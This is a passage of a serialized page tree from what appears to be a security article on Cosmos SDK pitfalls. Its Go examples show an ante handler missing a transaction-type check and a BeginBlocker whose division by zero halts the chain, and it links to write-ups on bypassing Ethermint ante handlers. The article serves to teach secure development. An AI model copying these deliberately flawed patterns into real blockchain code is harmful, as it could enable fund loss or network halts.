typeURL",{"type":20,"tag":315,"props":78596,"children":78597},{"style":334},[78598],{"type":26,"value":74674},{"type":20,"tag":315,"props":78600,"children":78601},{"style":635},[78602],{"type":26,"value":78603}," opts",{"type":20,"tag":315,"props":78605,"children":78606},{"style":328},[78607],{"type":26,"value":2117},{"type":20,"tag":315,"props":78609,"children":78610},{"style":765},[78611],{"type":26,"value":1063},{"type":20,"tag":315,"props":78613,"children":78614},{"style":328},[78615],{"type":26,"value":48600},{"type":20,"tag":315,"props":78617,"children":78618},{"style":345},[78619],{"type":26,"value":78620},"GetTypeUrl",{"type":20,"tag":315,"props":78622,"children":78623},{"style":328},[78624],{"type":26,"value":26865},{"type":20,"tag":315,"props":78626,"children":78627},{"style":635},[78628],{"type":26,"value":78629},"typeURL",{"type":20,"tag":315,"props":78631,"children":78632},{"style":328},[78633],{"type":26,"value":1092},{"type":20,"tag":315,"props":78635,"children":78636},{"class":317,"line":2147},[78637,78642,78647],{"type":20,"tag":315,"props":78638,"children":78639},{"style":525},[78640],{"type":26,"value":78641}," case",{"type":20,"tag":315,"props":78643,"children":78644},{"style":2652},[78645],{"type":26,"value":78646}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":20,"tag":315,"props":78648,"children":78649},{"style":328},[78650],{"type":26,"value":3961},{"type":20,"tag":315,"props":78652,"children":78653},{"class":317,"line":2177},[78654],{"type":20,"tag":315,"props":78655,"children":78656},{"style":1071},[78657],{"type":26,"value":78658}," // handle as *evmtypes.MsgEthereumTx\n",{"type":20,"tag":315,"props":78660,"children":78661},{"class":317,"line":2185},[78662],{"type":20,"tag":315,"props":78663,"children":78664},{"emptyLinePlaceholder":15},[78665],{"type":26,"value":427},{"type":20,"tag":315,"props":78667,"children":78668},{"class":317,"line":2217},[78669,78674,78678,78682,78686,78691],{"type":20,"tag":315,"props":78670,"children":78671},{"style":635},[78672],{"type":26,"value":78673}," anteHandler",{"type":20,"tag":315,"props":78675,"children":78676},{"style":334},[78677],{"type":26,"value":1395},{"type":20,"tag":315,"props":78679,"children":78680},{"style":635},[78681],{"type":26,"value":76899},{"type":20,"tag":315,"props":78683,"children":78684},{"style":328},[78685],{"type":26,"value":61},{"type":20,"tag":315,"props":78687,"children":78688},{"style":345},[78689],{"type":26,"value":78690},"ChainAnteDecorators",{"type":20,"tag":315,"props":78692,"children":78693},{"style":328},[78694],{"type":26,"value":353},{"type":20,"tag":315,"props":78696,"children":78697},{"class":317,"line":2225},[78698,78703,78707],{"type":20,"tag":315,"props":78699,"children":78700},{"style":345},[78701],{"type":26,"value":78702}," NewEthSetUpContextDecorator",{"type":20,"tag":315,"props":78704,"children":78705},{"style":328},[78706],{"type":26,"value":16778},{"type":20,"tag":315,"props":78708,"children":78709},{"style":1071},[78710],{"type":26,"value":77553},{"type":20,"tag":315,"props":78712,"children":78713},{"class":317,"line":2285},[78714],{"type":20,"tag":315,"props":78715,"children":78716},{"style":334},[78717],{"type":26,"value":78718}," ...\n",{"type":20,"tag":315,"props":78720,"children":78721},{"class":317,"line":7444},[78722,78727,78731,78736,78740],{"type":20,"tag":315,"props":78723,"children":78724},{"style":345},[78725],{"type":26,"value":78726}," NewEthIncrementSenderSequenceDecorator",{"type":20,"tag":315,"props":78728,"children":78729},{"style":328},[78730],{"type":26,"value":1049},{"type":20,"tag":315,"props":78732,"children":78733},{"style":635},[78734],{"type":26,"value":78735},"ak",{"type":20,"tag":315,"props":78737,"children":78738},{"style":328},[78739],{"type":26,"value":13578},{"type":20,"tag":315,"props":78741,"children":78742},{"style":1071},[78743],{"type":26,"value":78744},"// innermost AnteDecorator.\n",{"type":20,"tag":315,"props":78746,"children":78747},{"class":317,"line":7462},[78748],{"type":20,"tag":315,"props":78749,"children":78750},{"style":328},[78751],{"type":26,"value":78752}," )\n",{"type":20,"tag":315,"props":78754,"children":78755},{"class":317,"line":7507},[78756],{"type":20,"tag":315,"props":78757,"children":78758},{"emptyLinePlaceholder":15},[78759],{"type":26,"value":427},{"type":20,"tag":315,"props":78761,"children":78762},{"class":317,"line":7613},[78763,78768],{"type":20,"tag":315,"props":78764,"children":78765},{"style":525},[78766],{"type":26,"value":78767}," default",{"type":20,"tag":315,"props":78769,"children":78770},{"style":328},[78771],{"type":26,"value":3961},{"type":20,"tag":315,"props":78773,"children":78774},{"class":317,"line":21914},[78775,78780,78784,78788,78793,78797,78802],{"type":20,"tag":315,"props":78776,"children":78777},{"style":525},[78778],{"type":26,"value":78779}," return",{"type":20,"tag":315,"props":78781,"children":78782},{"style":635},[78783],{"type":26,"value":24259},{"type":20,"tag":315,"props":78785,"children":78786},{"style":328},[78787],{"type":26,"value":44},{"type":20,"tag":315,"props":78789,"children":78790},{"style":635},[78791],{"type":26,"value":78792},"stacktrace",{"type":20,"tag":315,"props":78794,"children":78795},{"style":328},[78796],{"type":26,"value":61},{"type":20,"tag":315,"props":78798,"children":78799},{"style":345},[78800],{"type":26,"value":78801},"Propagate",{"type":20,"tag":315,"props":78803,"children":78804},{"style":328},[78805],{"type":26,"value":353},{"type":20,"tag":315,"props":78807,"children":78808},{"class":317,"line":21949},[78809,78814,78818,78822,78826,78831,78835,78840,78844,78848],{"type":20,"tag":315,"props":78810,"children":78811},{"style":635},[78812],{"type":26,"value":78813}," sdkerrors",{"type":20,"tag":315,"props":78815,"children":78816},{"style":328},[78817],{"type":26,"value":61},{"type":20,"tag":315,"props":78819,"children":78820},{"style":345},[78821],{"type":26,"value":77104},{"type":20,"tag":315,"props":78823,"children":78824},{"style":328},[78825],{"type":26,"value":1049},{"type":20,"tag":315,"props":78827,"children":78828},{"style":635},[78829],{"type":26,"value":78830},"sdkerrors",{"type":20,"tag":315,"props":78832,"children":78833},{"style":328},[78834],{"type":26,"value":61},{"type":20,"tag":315,"props":78836,"children":78837},{"style":635},[78838],{"type":26,"value":78839},"ErrUnknownExtensionOptions",{"type":20,"tag":315,"props":78841,"children":78842},{"style":328},[78843],{"type":26,"value":44},{"type":20,"tag":315,"props":78845,"children":78846},{"style":635},[78847],{"type":26,"value":78629},{"type":20,"tag":315,"props":78849,"children":78850},{"style":328},[78851],{"type":26,"value":5131},{"type":20,"tag":315,"props":78853,"children":78854},{"class":317,"line":21957},[78855,78860],{"type":20,"tag":315,"props":78856,"children":78857},{"style":2652},[78858],{"type":26,"value":78859}," \"rejecting tx with unsupported extension option\"",{"type":20,"tag":315,"props":78861,"children":78862},{"style":328},[78863],{"type":26,"value":643},{"type":20,"tag":315,"props":78865,"children":78866},{"class":317,"line":21965},[78867],{"type":20,"tag":315,"props":78868,"children":78869},{"style":328},[78870],{"type":26,"value":78752},{"type":20,"tag":315,"props":78872,"children":78873},{"class":317,"line":21974},[78874],{"type":20,"tag":315,"props":78875,"children":78876},{"style":328},[78877],{"type":26,"value":69327},{"type":20,"tag":315,"props":78879,"children":78880},{"class":317,"line":22016},[78881],{"type":20,"tag":315,"props":78882,"children":78883},{"emptyLinePlaceholder":15},[78884],{"type":26,"value":427},{"type":20,"tag":315,"props":78886,"children":78887},{"class":317,"line":22049},[78888,78892,78896,78900,78904,78908,78912,78916,78920],{"type":20,"tag":315,"props":78889,"children":78890},{"style":525},[78891],{"type":26,"value":58982},{"type":20,"tag":315,"props":78893,"children":78894},{"style":345},[78895],{"type":26,"value":78381},{"type":20,"tag":315,"props":78897,"children":78898},{"style":328},[78899],{"type":26,"value":1049},{"type":20,"tag":315,"props":78901,"children":78902},{"style":635},[78903],{"type":26,"value":18684},{"type":20,"tag":315,"props":78905,"children":78906},{"style":328},[78907],{"type":26,"value":44},{"type":20,"tag":315,"props":78909,"children":78910},{"style":635},[78911],{"type":26,"value":77439},{"type":20,"tag":315,"props":78913,"children":78914},{"style":328},[78915],{"type":26,"value":44},{"type":20,"tag":315,"props":78917,"children":78918},{"style":635},[78919],{"type":26,"value":78319},{"type":20,"tag":315,"props":78921,"children":78922},{"style":328},[78923],{"type":26,"value":380},{"type":20,"tag":315,"props":78925,"children":78926},{"class":317,"line":22057},[78927],{"type":20,"tag":315,"props":78928,"children":78929},{"style":328},[78930],{"type":26,"value":57138},{"type":20,"tag":315,"props":78932,"children":78933},{"class":317,"line":22065},[78934],{"type":20,"tag":315,"props":78935,"children":78936},{"style":328},[78937],{"type":26,"value":1728},{"type":20,"tag":315,"props":78939,"children":78940},{"class":317,"line":22074},[78941],{"type":20,"tag":315,"props":78942,"children":78943},{"emptyLinePlaceholder":15},[78944],{"type":26,"value":427},{"type":20,"tag":315,"props":78946,"children":78947},{"class":317,"line":22150},[78948],{"type":20,"tag":315,"props":78949,"children":78950},{"style":1071},[78951],{"type":26,"value":78952}," // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":20,"tag":315,"props":78954,"children":78955},{"class":317,"line":22183},[78956],{"type":20,"tag":315,"props":78957,"children":78958},{"emptyLinePlaceholder":15},[78959],{"type":26,"value":427},{"type":20,"tag":315,"props":78961,"children":78962},{"class":317,"line":22191},[78963,78968,78972,78976,78980],{"type":20,"tag":315,"props":78964,"children":78965},{"style":525},[78966],{"type":26,"value":78967}," switch",{"type":20,"tag":315,"props":78969,"children":78970},{"style":635},[78971],{"type":26,"value":66283},{"type":20,"tag":315,"props":78973,"children":78974},{"style":328},[78975],{"type":26,"value":77038},{"type":20,"tag":315,"props":78977,"children":78978},{"style":541},[78979],{"type":26,"value":31170},{"type":20,"tag":315,"props":78981,"children":78982},{"style":328},[78983],{"type":26,"value":549},{"type":20,"tag":315,"props":78985,"children":78986},{"class":317,"line":22199},[78987,78992,78996,79000,79004],{"type":20,"tag":315,"props":78988,"children":78989},{"style":525},[78990],{"type":26,"value":78991}," case",{"type":20,"tag":315,"props":78993,"children":78994},{"style":322},[78995],{"type":26,"value":76899},{"type":20,"tag":315,"props":78997,"children":78998},{"style":328},[78999],{"type":26,"value":61},{"type":20,"tag":315,"props":79001,"children":79002},{"style":322},[79003],{"type":26,"value":76932},{"type":20,"tag":315,"props":79005,"children":79006},{"style":328},[79007],{"type":26,"value":3961},{"type":20,"tag":315,"props":79009,"children":79010},{"class":317,"line":22236},[79011,79016,79020,79024,79028,79032],{"type":20,"tag":315,"props":79012,"children":79013},{"style":635},[79014],{"type":26,"value":79015}," anteHandler",{"type":20,"tag":315,"props":79017,"children":79018},{"style":334},[79019],{"type":26,"value":1395},{"type":20,"tag":315,"props":79021,"children":79022},{"style":635},[79023],{"type":26,"value":76899},{"type":20,"tag":315,"props":79025,"children":79026},{"style":328},[79027],{"type":26,"value":61},{"type":20,"tag":315,"props":79029,"children":79030},{"style":345},[79031],{"type":26,"value":78690},{"type":20,"tag":315,"props":79033,"children":79034},{"style":328},[79035],{"type":26,"value":353},{"type":20,"tag":315,"props":79037,"children":79038},{"class":317,"line":22249},[79039,79044,79048,79053,79057],{"type":20,"tag":315,"props":79040,"children":79041},{"style":635},[79042],{"type":26,"value":79043}," authante",{"type":20,"tag":315,"props":79045,"children":79046},{"style":328},[79047],{"type":26,"value":61},{"type":20,"tag":315,"props":79049,"children":79050},{"style":345},[79051],{"type":26,"value":79052},"NewSetUpContextDecorator",{"type":20,"tag":315,"props":79054,"children":79055},{"style":328},[79056],{"type":26,"value":16778},{"type":20,"tag":315,"props":79058,"children":79059},{"style":1071},[79060],{"type":26,"value":77553},{"type":20,"tag":315,"props":79062,"children":79063},{"class":317,"line":22262},[79064],{"type":20,"tag":315,"props":79065,"children":79066},{"style":334},[79067],{"type":26,"value":79068}," ...\n",{"type":20,"tag":315,"props":79070,"children":79071},{"class":317,"line":22275},[79072,79076,79080,79085,79089,79093,79097],{"type":20,"tag":315,"props":79073,"children":79074},{"style":635},[79075],{"type":26,"value":79043},{"type":20,"tag":315,"props":79077,"children":79078},{"style":328},[79079],{"type":26,"value":61},{"type":20,"tag":315,"props":79081,"children":79082},{"style":345},[79083],{"type":26,"value":79084},"NewIncrementSequenceDecorator",{"type":20,"tag":315,"props":79086,"children":79087},{"style":328},[79088],{"type":26,"value":1049},{"type":20,"tag":315,"props":79090,"children":79091},{"style":635},[79092],{"type":26,"value":78735},{"type":20,"tag":315,"props":79094,"children":79095},{"style":328},[79096],{"type":26,"value":13578},{"type":20,"tag":315,"props":79098,"children":79099},{"style":1071},[79100],{"type":26,"value":79101},"// innermost AnteDecorator\n",{"type":20,"tag":315,"props":79103,"children":79104},{"class":317,"line":22329},[79105],{"type":20,"tag":315,"props":79106,"children":79107},{"style":328},[79108],{"type":26,"value":75773},{"type":20,"tag":315,"props":79110,"children":79111},{"class":317,"line":22338},[79112,79117],{"type":20,"tag":315,"props":79113,"children":79114},{"style":525},[79115],{"type":26,"value":79116}," default",{"type":20,"tag":315,"props":79118,"children":79119},{"style":328},[79120],{"type":26,"value":3961},{"type":20,"tag":315,"props":79122,"children":79123},{"class":317,"line":30696},[79124,79128,79132,79136,79140,79144,79148],{"type":20,"tag":315,"props":79125,"children":79126},{"style":525},[79127],{"type":26,"value":77334},{"type":20,"tag":315,"props":79129,"children":79130},{"style":635},[79131],{"type":26,"value":24259},{"type":20,"tag":315,"props":79133,"children":79134},{"style":328},[79135],{"type":26,"value":44},{"type":20,"tag":315,"props":79137,"children":79138},{"style":635},[79139],{"type":26,"value":78792},{"type":20,"tag":315,"props":79141,"children":79142},{"style":328},[79143],{"type":26,"value":61},{"type":20,"tag":315,"props":79145,"children":79146},{"style":345},[79147],{"type":26,"value":78801},{"type":20,"tag":315,"props":79149,"children":79150},{"style":328},[79151],{"type":26,"value":353},{"type":20,"tag":315,"props":79153,"children":79154},{"class":317,"line":30717},[79155,79160,79164,79169,79173,79177,79181,79186,79190,79195,79199,79203],{"type":20,"tag":315,"props":79156,"children":79157},{"style":635},[79158],{"type":26,"value":79159}," sdkerrors",{"type":20,"tag":315,"props":79161,"children":79162},{"style":328},[79163],{"type":26,"value":61},{"type":20,"tag":315,"props":79165,"children":79166},{"style":345},[79167],{"type":26,"value":79168},"Wrapf",{"type":20,"tag":315,"props":79170,"children":79171},{"style":328},[79172],{"type":26,"value":1049},{"type":20,"tag":315,"props":79174,"children":79175},{"style":635},[79176],{"type":26,"value":78830},{"type":20,"tag":315,"props":79178,"children":79179},{"style":328},[79180],{"type":26,"value":61},{"type":20,"tag":315,"props":79182,"children":79183},{"style":635},[79184],{"type":26,"value":79185},"ErrUnknownRequest",{"type":20,"tag":315,"props":79187,"children":79188},{"style":328},[79189],{"type":26,"value":44},{"type":20,"tag":315,"props":79191,"children":79192},{"style":2652},[79193],{"type":26,"value":79194},"\"invalid transaction type: %T\"",{"type":20,"tag":315,"props":79196,"children":79197},{"style":328},[79198],{"type":26,"value":44},{"type":20,"tag":315,"props":79200,"children":79201},{"style":635},[79202],{"type":26,"value":77439},{"type":20,"tag":315,"props":79204,"children":79205},{"style":328},[79206],{"type":26,"value":5131},{"type":20,"tag":315,"props":79208,"children":79210},{"class":317,"line":79209},53,[79211,79216],{"type":20,"tag":315,"props":79212,"children":79213},{"style":2652},[79214],{"type":26,"value":79215}," \"transaction is not an SDK tx\"",{"type":20,"tag":315,"props":79217,"children":79218},{"style":328},[79219],{"type":26,"value":643},{"type":20,"tag":315,"props":79221,"children":79223},{"class":317,"line":79222},54,[79224],{"type":20,"tag":315,"props":79225,"children":79226},{"style":328},[79227],{"type":26,"value":75773},{"type":20,"tag":315,"props":79229,"children":79231},{"class":317,"line":79230},55,[79232],{"type":20,"tag":315,"props":79233,"children":79234},{"style":328},[79235],{"type":26,"value":1728},{"type":20,"tag":315,"props":79237,"children":79239},{"class":317,"line":79238},56,[79240],{"type":20,"tag":315,"props":79241,"children":79242},{"emptyLinePlaceholder":15},[79243],{"type":26,"value":427},{"type":20,"tag":315,"props":79245,"children":79247},{"class":317,"line":79246},57,[79248,79252,79256,79260,79264,79268,79272,79276,79280],{"type":20,"tag":315,"props":79249,"children":79250},{"style":525},[79251],{"type":26,"value":14145},{"type":20,"tag":315,"props":79253,"children":79254},{"style":345},[79255],{"type":26,"value":78381},{"type":20,"tag":315,"props":79257,"children":79258},{"style":328},[79259],{"type":26,"value":1049},{"type":20,"tag":315,"props":79261,"children":79262},{"style":635},[79263],{"type":26,"value":18684},{"type":20,"tag":315,"props":79265,"children":79266},{"style":328},[79267],{"type":26,"value":44},{"type":20,"tag":315,"props":79269,"children":79270},{"style":635},[79271],{"type":26,"value":77439},{"type":20,"tag":315,"props":79273,"children":79274},{"style":328},[79275],{"type":26,"value":44},{"type":20,"tag":315,"props":79277,"children":79278},{"style":635},[79279],{"type":26,"value":78319},{"type":20,"tag":315,"props":79281,"children":79282},{"style":328},[79283],{"type":26,"value":380},{"type":20,"tag":315,"props":79285,"children":79287},{"class":317,"line":79286},58,[79288],{"type":20,"tag":315,"props":79289,"children":79290},{"style":328},[79291],{"type":26,"value":1736},{"type":20,"tag":315,"props":79293,"children":79295},{"class":317,"line":79294},59,[79296],{"type":20,"tag":315,"props":79297,"children":79298},{"style":328},[79299],{"type":26,"value":577},{"type":20,"tag":29,"props":79301,"children":79302},{},[79303,79305,79310,79312,79319,79320,79327],{"type":26,"value":79304},"Additional examples of incorrect ",{"type":20,"tag":119,"props":79306,"children":79308},{"className":79307},[],[79309],{"type":26,"value":76728},{"type":26,"value":79311}," usage include ",{"type":20,"tag":35,"props":79313,"children":79316},{"href":79314,"rel":79315},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[39],[79317],{"type":26,"value":79318},"yet more bypassable checks and loss of funds",{"type":26,"value":9392},{"type":20,"tag":35,"props":79321,"children":79324},{"href":79322,"rel":79323},"https://github.com/cosmos/ibc-go/issues/853",[39],[79325],{"type":26,"value":79326},"incorrect data passing between blockchains",{"type":26,"value":61},{"type":20,"tag":21,"props":79329,"children":79331},{"id":79330},"errors-panics-i-can-handle-it",[79332],{"type":26,"value":79333},"Errors? Panics? I can handle it",{"type":20,"tag":29,"props":79335,"children":79336},{},[79337],{"type":26,"value":79338},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":20,"tag":29,"props":79340,"children":79341},{},[79342],{"type":26,"value":79343},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":20,"tag":29,"props":79345,"children":79346},{},[79347,79349,79355,79357,79362],{"type":26,"value":79348},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":20,"tag":119,"props":79350,"children":79352},{"className":79351},[],[79353],{"type":26,"value":79354},"k.keeper.TotalReward()",{"type":26,"value":79356}," returns zero, the ",{"type":20,"tag":119,"props":79358,"children":79360},{"className":79359},[],[79361],{"type":26,"value":56199},{"type":26,"value":79363}," execution will simply rollback as if nothing has happened.",{"type":20,"tag":305,"props":79365,"children":79367},{"code":79366,"language":74422,"meta":7,"className":74423,"style":7},"func (k msgServer) AllocateReward(\n goCtx context.Context,\n msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n RewardPerShare := k.keeper.Shares() / k.keeper.TotalReward()\n k.keeper.DistributeReward(RewardPerShare)\n\n return &types.MsgAllocateRewardResponse, nil\n}\n",[79368],{"type":20,"tag":119,"props":79369,"children":79370},{"__ignoreMap":7},[79371,79404,79427,79455,79491,79498,79567,79605,79612,79644],{"type":20,"tag":315,"props":79372,"children":79373},{"class":317,"line":318},[79374,79378,79382,79387,79391,79395,79400],{"type":20,"tag":315,"props":79375,"children":79376},{"style":541},[79377],{"type":26,"value":74558},{"type":20,"tag":315,"props":79379,"children":79380},{"style":328},[79381],{"type":26,"value":463},{"type":20,"tag":315,"props":79383,"children":79384},{"style":635},[79385],{"type":26,"value":79386},"k ",{"type":20,"tag":315,"props":79388,"children":79389},{"style":322},[79390],{"type":26,"value":74572},{"type":20,"tag":315,"props":79392,"children":79393},{"style":328},[79394],{"type":26,"value":1468},{"type":20,"tag":315,"props":79396,"children":79397},{"style":345},[79398],{"type":26,"value":79399},"AllocateReward",{"type":20,"tag":315,"props":79401,"children":79402},{"style":328},[79403],{"type":26,"value":353},{"type":20,"tag":315,"props":79405,"children":79406},{"class":317,"line":356},[79407,79411,79415,79419,79423],{"type":20,"tag":315,"props":79408,"children":79409},{"style":635},[79410],{"type":26,"value":74593},{"type":20,"tag":315,"props":79412,"children":79413},{"style":322},[79414],{"type":26,"value":74598},{"type":20,"tag":315,"props":79416,"children":79417},{"style":328},[79418],{"type":26,"value":61},{"type":20,"tag":315,"props":79420,"children":79421},{"style":322},[79422],{"type":26,"value":74607},{"type":20,"tag":315,"props":79424,"children":79425},{"style":328},[79426],{"type":26,"value":643},{"type":20,"tag":315,"props":79428,"children":79429},{"class":317,"line":365},[79430,79434,79438,79442,79446,79451],{"type":20,"tag":315,"props":79431,"children":79432},{"style":635},[79433],{"type":26,"value":74619},{"type":20,"tag":315,"props":79435,"children":79436},{"style":334},[79437],{"type":26,"value":8216},{"type":20,"tag":315,"props":79439,"children":79440},{"style":322},[79441],{"type":26,"value":4151},{"type":20,"tag":315,"props":79443,"children":79444},{"style":328},[79445],{"type":26,"value":61},{"type":20,"tag":315,"props":79447,"children":79448},{"style":322},[79449],{"type":26,"value":79450},"MsgAllocateReward",{"type":20,"tag":315,"props":79452,"children":79453},{"style":328},[79454],{"type":26,"value":380},{"type":20,"tag":315,"props":79456,"children":79457},{"class":317,"line":374},[79458,79462,79466,79470,79474,79479,79483,79487],{"type":20,"tag":315,"props":79459,"children":79460},{"style":328},[79461],{"type":26,"value":1049},{"type":20,"tag":315,"props":79463,"children":79464},{"style":334},[79465],{"type":26,"value":901},{"type":20,"tag":315,"props":79467,"children":79468},{"style":322},[79469],{"type":26,"value":4151},{"type":20,"tag":315,"props":79471,"children":79472},{"style":328},[79473],{"type":26,"value":61},{"type":20,"tag":315,"props":79475,"children":79476},{"style":322},[79477],{"type":26,"value":79478},"MsgAllocatRewardResponse",{"type":20,"tag":315,"props":79480,"children":79481},{"style":328},[79482],{"type":26,"value":44},{"type":20,"tag":315,"props":79484,"children":79485},{"style":322},[79486],{"type":26,"value":13264},{"type":20,"tag":315,"props":79488,"children":79489},{"style":328},[79490],{"type":26,"value":549},{"type":20,"tag":315,"props":79492,"children":79493},{"class":317,"line":383},[79494],{"type":20,"tag":315,"props":79495,"children":79496},{"emptyLinePlaceholder":15},[79497],{"type":26,"value":427},{"type":20,"tag":315,"props":79499,"children":79500},{"class":317,"line":407},[79501,79506,79510,79515,79519,79524,79528,79533,79537,79541,79546,79550,79554,79558,79563],{"type":20,"tag":315,"props":79502,"children":79503},{"style":635},[79504],{"type":26,"value":79505}," RewardPerShare",{"type":20,"tag":315,"props":79507,"children":79508},{"style":334},[79509],{"type":26,"value":74674},{"type":20,"tag":315,"props":79511,"children":79512},{"style":635},[79513],{"type":26,"value":79514}," k",{"type":20,"tag":315,"props":79516,"children":79517},{"style":328},[79518],{"type":26,"value":61},{"type":20,"tag":315,"props":79520,"children":79521},{"style":635},[79522],{"type":26,"value":79523},"keeper",{"type":20,"tag":315,"props":79525,"children":79526},{"style":328},[79527],{"type":26,"value":61},{"type":20,"tag":315,"props":79529,"children":79530},{"style":345},[79531],{"type":26,"value":79532},"Shares",{"type":20,"tag":315,"props":79534,"children":79535},{"style":328},[79536],{"type":26,"value":12444},{"type":20,"tag":315,"props":79538,"children":79539},{"style":334},[79540],{"type":26,"value":786},{"type":20,"tag":315,"props":79542,"children":79543},{"style":635},[79544],{"type":26,"value":79545}," k",{"type":20,"tag":315,"props":79547,"children":79548},{"style":328},[79549],{"type":26,"value":61},{"type":20,"tag":315,"props":79551,"children":79552},{"style":635},[79553],{"type":26,"value":79523},{"type":20,"tag":315,"props":79555,"children":79556},{"style":328},[79557],{"type":26,"value":61},{"type":20,"tag":315,"props":79559,"children":79560},{"style":345},[79561],{"type":26,"value":79562},"TotalReward",{"type":20,"tag":315,"props":79564,"children":79565},{"style":328},[79566],{"type":26,"value":6131},{"type":20,"tag":315,"props":79568,"children":79569},{"class":317,"line":421},[79570,79575,79579,79583,79587,79592,79596,79601],{"type":20,"tag":315,"props":79571,"children":79572},{"style":635},[79573],{"type":26,"value":79574}," k",{"type":20,"tag":315,"props":79576,"children":79577},{"style":328},[79578],{"type":26,"value":61},{"type":20,"tag":315,"props":79580,"children":79581},{"style":635},[79582],{"type":26,"value":79523},{"type":20,"tag":315,"props":79584,"children":79585},{"style":328},[79586],{"type":26,"value":61},{"type":20,"tag":315,"props":79588,"children":79589},{"style":345},[79590],{"type":26,"value":79591},"DistributeReward",{"type":20,"tag":315,"props":79593,"children":79594},{"style":328},[79595],{"type":26,"value":1049},{"type":20,"tag":315,"props":79597,"children":79598},{"style":635},[79599],{"type":26,"value":79600},"RewardPerShare",{"type":20,"tag":315,"props":79602,"children":79603},{"style":328},[79604],{"type":26,"value":380},{"type":20,"tag":315,"props":79606,"children":79607},{"class":317,"line":430},[79608],{"type":20,"tag":315,"props":79609,"children":79610},{"emptyLinePlaceholder":15},[79611],{"type":26,"value":427},{"type":20,"tag":315,"props":79613,"children":79614},{"class":317,"line":453},[79615,79619,79623,79627,79631,79636,79640],{"type":20,"tag":315,"props":79616,"children":79617},{"style":525},[79618],{"type":26,"value":731},{"type":20,"tag":315,"props":79620,"children":79621},{"style":334},[79622],{"type":26,"value":5536},{"type":20,"tag":315,"props":79624,"children":79625},{"style":635},[79626],{"type":26,"value":4151},{"type":20,"tag":315,"props":79628,"children":79629},{"style":328},[79630],{"type":26,"value":61},{"type":20,"tag":315,"props":79632,"children":79633},{"style":635},[79634],{"type":26,"value":79635},"MsgAllocateRewardResponse",{"type":20,"tag":315,"props":79637,"children":79638},{"style":328},[79639],{"type":26,"value":44},{"type":20,"tag":315,"props":79641,"children":79642},{"style":541},[79643],{"type":26,"value":74900},{"type":20,"tag":315,"props":79645,"children":79646},{"class":317,"line":486},[79647],{"type":20,"tag":315,"props":79648,"children":79649},{"style":328},[79650],{"type":26,"value":577},{"type":20,"tag":29,"props":79652,"children":79653},{},[79654,79656,79662,79663,79669,79670,79676,79678,79683],{"type":26,"value":79655},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":20,"tag":119,"props":79657,"children":79659},{"className":79658},[],[79660],{"type":26,"value":79661},"PreBlocker",{"type":26,"value":44},{"type":20,"tag":119,"props":79664,"children":79666},{"className":79665},[],[79667],{"type":26,"value":79668},"BeginBlocker",{"type":26,"value":4882},{"type":20,"tag":119,"props":79671,"children":79673},{"className":79672},[],[79674],{"type":26,"value":79675},"EndBlocker",{"type":26,"value":79677},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":20,"tag":119,"props":79679,"children":79681},{"className":79680},[],[79682],{"type":26,"value":79668},{"type":26,"value":79684}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":20,"tag":305,"props":79686,"children":79688},{"code":79687,"language":74422,"meta":7,"className":74423,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[79689],{"type":20,"tag":119,"props":79690,"children":79691},{"__ignoreMap":7},[79692,79757,79764,79812,79840,79847,79859],{"type":20,"tag":315,"props":79693,"children":79694},{"class":317,"line":318},[79695,79699,79704,79708,79712,79716,79720,79724,79728,79732,79737,79741,79745,79749,79753],{"type":20,"tag":315,"props":79696,"children":79697},{"style":541},[79698],{"type":26,"value":74558},{"type":20,"tag":315,"props":79700,"children":79701},{"style":345},[79702],{"type":26,"value":79703}," BeginBlocker",{"type":20,"tag":315,"props":79705,"children":79706},{"style":328},[79707],{"type":26,"value":1049},{"type":20,"tag":315,"props":79709,"children":79710},{"style":635},[79711],{"type":26,"value":18684},{"type":20,"tag":315,"props":79713,"children":79714},{"style":322},[79715],{"type":26,"value":74598},{"type":20,"tag":315,"props":79717,"children":79718},{"style":328},[79719],{"type":26,"value":61},{"type":20,"tag":315,"props":79721,"children":79722},{"style":322},[79723],{"type":26,"value":74607},{"type":20,"tag":315,"props":79725,"children":79726},{"style":328},[79727],{"type":26,"value":44},{"type":20,"tag":315,"props":79729,"children":79730},{"style":635},[79731],{"type":26,"value":79523},{"type":20,"tag":315,"props":79733,"children":79734},{"style":322},[79735],{"type":26,"value":79736}," keeper",{"type":20,"tag":315,"props":79738,"children":79739},{"style":328},[79740],{"type":26,"value":61},{"type":20,"tag":315,"props":79742,"children":79743},{"style":322},[79744],{"type":26,"value":78203},{"type":20,"tag":315,"props":79746,"children":79747},{"style":328},[79748],{"type":26,"value":1468},{"type":20,"tag":315,"props":79750,"children":79751},{"style":322},[79752],{"type":26,"value":13264},{"type":20,"tag":315,"props":79754,"children":79755},{"style":328},[79756],{"type":26,"value":1092},{"type":20,"tag":315,"props":79758,"children":79759},{"class":317,"line":356},[79760],{"type":20,"tag":315,"props":79761,"children":79762},{"emptyLinePlaceholder":15},[79763],{"type":26,"value":427},{"type":20,"tag":315,"props":79765,"children":79766},{"class":317,"line":365},[79767,79771,79775,79779,79783,79787,79791,79795,79800,79804,79808],{"type":20,"tag":315,"props":79768,"children":79769},{"style":635},[79770],{"type":26,"value":79505},{"type":20,"tag":315,"props":79772,"children":79773},{"style":334},[79774],{"type":26,"value":74674},{"type":20,"tag":315,"props":79776,"children":79777},{"style":635},[79778],{"type":26,"value":79736},{"type":20,"tag":315,"props":79780,"children":79781},{"style":328},[79782],{"type":26,"value":61},{"type":20,"tag":315,"props":79784,"children":79785},{"style":345},[79786],{"type":26,"value":79532},{"type":20,"tag":315,"props":79788,"children":79789},{"style":328},[79790],{"type":26,"value":12444},{"type":20,"tag":315,"props":79792,"children":79793},{"style":334},[79794],{"type":26,"value":786},{